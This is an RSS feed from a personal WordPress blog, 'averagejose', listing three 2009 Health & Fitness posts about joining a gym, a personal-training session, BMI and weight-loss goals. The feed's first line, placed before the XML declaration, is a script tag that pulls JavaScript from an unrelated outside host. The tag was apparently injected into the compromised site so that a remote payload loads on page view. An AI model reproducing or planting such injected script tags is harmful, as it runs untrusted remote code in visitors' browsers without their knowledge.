<script src=http://econo.urin79.com/common/sitemap.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>averagejose &#187; Health &amp; Fitness</title>
	<atom:link href="http://www.averagejose.com/category/health-fitness/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.averagejose.com</link>
	<description></description>
	<lastBuildDate>Thu, 14 Jan 2010 06:11:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>RAISING THE BAR</title>
		<link>http://www.averagejose.com/2009/06/19/raising-the-bar/</link>
		<comments>http://www.averagejose.com/2009/06/19/raising-the-bar/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 01:57:59 +0000</pubDate>
		<dc:creator>averagejose</dc:creator>
				<category><![CDATA[Health & Fitness]]></category>
		<category><![CDATA[change]]></category>
		<category><![CDATA[Goals]]></category>
		<category><![CDATA[gym]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[japan]]></category>
		<category><![CDATA[life changing]]></category>
		<category><![CDATA[Personal Training]]></category>

		<guid isPermaLink="false">http://www.averagejose.com/?p=1043</guid>
		<description><![CDATA[On the bench press sweat dripping down my face a whole five minutes into my first training session  &#8211; thinking to myself  &#8220;what the hell was I thinking??&#8221; I stretched my arms  cracked my knuckles and prepared myself mentally &#8211; did a few deep Lamaze like breathing techniques &#8211; revved up like all the best [...]]]></description>
		<wfw:commentRss>http://www.averagejose.com/2009/06/19/raising-the-bar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MINI GOALS</title>
		<link>http://www.averagejose.com/2009/06/19/mini-goals/</link>
		<comments>http://www.averagejose.com/2009/06/19/mini-goals/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 12:16:52 +0000</pubDate>
		<dc:creator>averagejose</dc:creator>
				<category><![CDATA[Health & Fitness]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[BMI]]></category>
		<category><![CDATA[Goals]]></category>
		<category><![CDATA[gym]]></category>
		<category><![CDATA[weightloss]]></category>

		<guid isPermaLink="false">http://www.averagejose.com/?p=1039</guid>
		<description><![CDATA[After a 5 minute warm up on the tread mill &#8211; I met with my new  personal trainer Dan Go &#8211; We went into an office were I was weighed and provided my BMI. Current Weight : 203 Current BMI: 34.8 Dan entered my height, weight,  age and measurements into a computer program. A figure [...]]]></description>
		<wfw:commentRss>http://www.averagejose.com/2009/06/19/mini-goals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MEMBERSHIP TO THE GOODLIFE</title>
		<link>http://www.averagejose.com/2009/06/15/membership-to-the-goodlife/</link>
		<comments>http://www.averagejose.com/2009/06/15/membership-to-the-goodlife/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 04:30:03 +0000</pubDate>
		<dc:creator>averagejose</dc:creator>
				<category><![CDATA[Health & Fitness]]></category>
		<category><![CDATA[Fitness]]></category>
		<category><![CDATA[Goals]]></category>
		<category><![CDATA[gym]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[Memberships]]></category>
		<category><![CDATA[Personal Training]]></category>
		<category><![CDATA[weightloss]]></category>

		<guid isPermaLink="false">http://www.averagejose.com/?p=962</guid>
		<description><![CDATA[The Questionnaire. Rate Your Habits on a scale from 1-5 (1 = Chris Farley and 5 =  Christian Bale) • Eating  1 2 3 4 5 • Exercise 1 2 3 4 5 • Sloth 1 2 3 4 5 Write down your goals/reason for joining the gym Lose weight. Not feel and look like [...]]]></description>
		<wfw:commentRss>http://www.averagejose.com/2009/06/15/membership-to-the-goodlife/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
